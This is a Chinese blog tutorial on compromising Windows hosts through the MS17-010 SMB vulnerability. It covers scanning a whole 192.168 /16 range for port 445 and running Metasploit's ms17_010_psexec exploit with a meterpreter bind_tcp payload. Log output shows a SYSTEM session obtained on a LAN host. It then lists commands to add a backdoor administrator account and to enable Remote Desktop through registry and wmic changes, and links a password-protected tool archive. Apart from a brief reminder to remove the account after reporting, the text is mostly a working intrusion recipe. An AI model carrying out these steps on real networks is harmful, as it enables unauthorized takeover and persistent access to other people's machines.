ms17-010是一个windows内smb协议的一个漏洞,外部攻击者可以对其造成溢出,以执行任意代码
工具包:工具.7z 密码 shinenet.cn
备注:由于大部分情况下局域网内都不太可能存在有漏洞的主机,故提供虚拟机方式。
设置靶机的网络状态
虽然masscan功能更多速度更快,但相比较而言,S扫描器更加的简单易用。
在s.exe 的文件旁边按住shift并右键-选择从此处打开Powershell窗口
输入 .\s.exe
并回车,可以看到s扫描器的提示
我们在这里扫描整个192.168的B段
命令为:.\s.exe TCP 192.168.0.0 192.168.255.255 445 1024 /save
之所以使用TCP方式,是因为WIN10不支持使用SYN方式
静静等待扫描完成Scan 65536 IPs Complete In 0 Hours 3 Minutes 12 Seconds. Found 51 Hosts
扫描结束,扫描到51个Hosts
同时目录下面生成 Result.txt
手动删除开头和结尾无用字符,然后替换 445 Open
为空
继续替换 空格 为空,得到一份完整的445端口开放的IP列表
打开 说明.txt 文件,这是MS_17_010_Scan.exe 文件的扫描说明,支持两种形式
单IP扫描(虚拟机)
.\MS_17_010_Scan.exe -ip xxxxxxx
其中xxxx为虚拟机的IP文件扫描(局域网用户)
.\MS_17_010_Scan.exe -file Result.txt
其中Result.txt为IP列表文件,一行一个查看扫描结果,Found Vuln MS17-010 为存在漏洞
可以看到,局域网内存在多台MS17-010漏洞主机,并且标注出了对应的WIN版本(Windows 5.1大概率是WINXP)
记录下这些IP,等会儿要用
msfconsole
进入MSF环境刚刚使用的工具是WIN下的,并不是非常的精准,这里重新使用MSF扫描那几台主机
命令:
使用MS17-010的扫描工具use auxiliary/scanner/smb/smb_ms17_010
查看工具的选项show options
也可以使用 show info
查看插件的说明
选择一个你想要尝试的目标,记录下IP,然后设置目标(或者设置多个目标,使用逗号进行分割)set RHOSTS XXXX
开始运行扫描run
这是我的扫描结果:
[+] 192.168.236.106:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 1 of 6 hosts (16% complete)
[+] 192.168.237.50:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
[*] Scanned 2 of 6 hosts (33% complete)
[+] 192.168.238.62:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 3 of 6 hosts (50% complete)
[+] 192.168.238.69:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 4 of 6 hosts (66% complete)
[+] 192.168.238.163:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 5 of 6 hosts (83% complete)
[+] 192.168.238.227:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
全是X86的主机,配置应该不会很高
选择exploit模块use exploit/windows/smb/ms17_010_psexec
查看选项show options
设置目标set RHOSTS xxxxx
选择payload 由于反射shell对于小白有点难度,这里使用bind类型的payload,缺点是容易被发现
-如果对方是X64 64位的主机set payload windows/x64/meterpreter/bind_tcp
-如果对方是X86 32位的主机set payload windows/meterpreter/bind_tcp
选错会导致入侵成功但拿不到shell
开始渗透exploit
可以看到,在一连串的操作后,成功入侵(如果失败了,就换一台继续)
msf5 exploit(windows/smb/ms17_010_psexec) > exploit
\
[*] 192.168.236.106:445 - Target OS: Windows 5.1
[*] 192.168.236.106:445 - Filling barrel with fish... done
[*] 192.168.236.106:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.236.106:445 - [*] Preparing dynamite...
[*] 192.168.236.106:445 - [*] Trying stick 1 (x86)...Boom!
[*] 192.168.236.106:445 - [+] Successfully Leaked Transaction!
[*] 192.168.236.106:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.236.106:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.236.106:445 - Reading from CONNECTION struct at: 0x8964f7a0
[*] 192.168.236.106:445 - Built a write-what-where primitive...
[+] 192.168.236.106:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.236.106:445 - Selecting native target
[*] 192.168.236.106:445 - Uploading payload... hVWaRZQw.exe
[*] 192.168.236.106:445 - Created \hVWaRZQw.exe...
[+] 192.168.236.106:445 - Service started successfully...
[*] 192.168.236.106:445 - Deleting \hVWaRZQw.exe...
[*] Started bind TCP handler against 192.168.236.106:4444
[*] Sending stage (180291 bytes) to 192.168.236.106
[*] Meterpreter session 1 opened (192.168.1.142:40241 -> 192.168.236.106:4444) at 2019-10-12 09:54:00 +0800
meterpreter > \
meterpreter是一个后门工具,提供了极多的入侵选项,具体可以百度,这里只说几个常用的
在shell中,如果乱码,请在终端上方的 设置字符编码 - 选择 GBK
实际上,入侵到此就已经结束了,已经拿到对方系统的shell权限,提权那也是之后的事情了。
查看目标的管理员net user
增加管理员net user test 123456 /add
net localgroup administrators test /add
删除管理员net user test /delete
开启远程桌面
xp 2003
首选 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
备选:
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
或者一句话
wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
最后就可以使用 远程桌面 连接上对应的机器啦
最后报告上去的时候,不要忘记关闭3389和删除新建的账户
最后报告上去的时候,不要忘记关闭3389和删除新建的账户
最后报告上去的时候,不要忘记关闭3389和删除新建的账户
备注:即使是MSF内的exploit框架也并不完善,仍然有存在漏洞但无法渗透的情况,源码是Python的,可以去github下载,那个成功率会高很多。
如果确认存在漏洞,但MSF无法使用,可以使用fcstools工具,具体使用方式请百度,默认已经填好了x86和x64的payload,bind_tcp,端口4444
工具包:工具.7z 密码 shinenet.cn
本文作者:卖女孩的小火柴 - 搬砖中
本文链接:https://www.shinenet.cn/archives/50.html
最后修改时间:2019-11-15 19:55:52
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!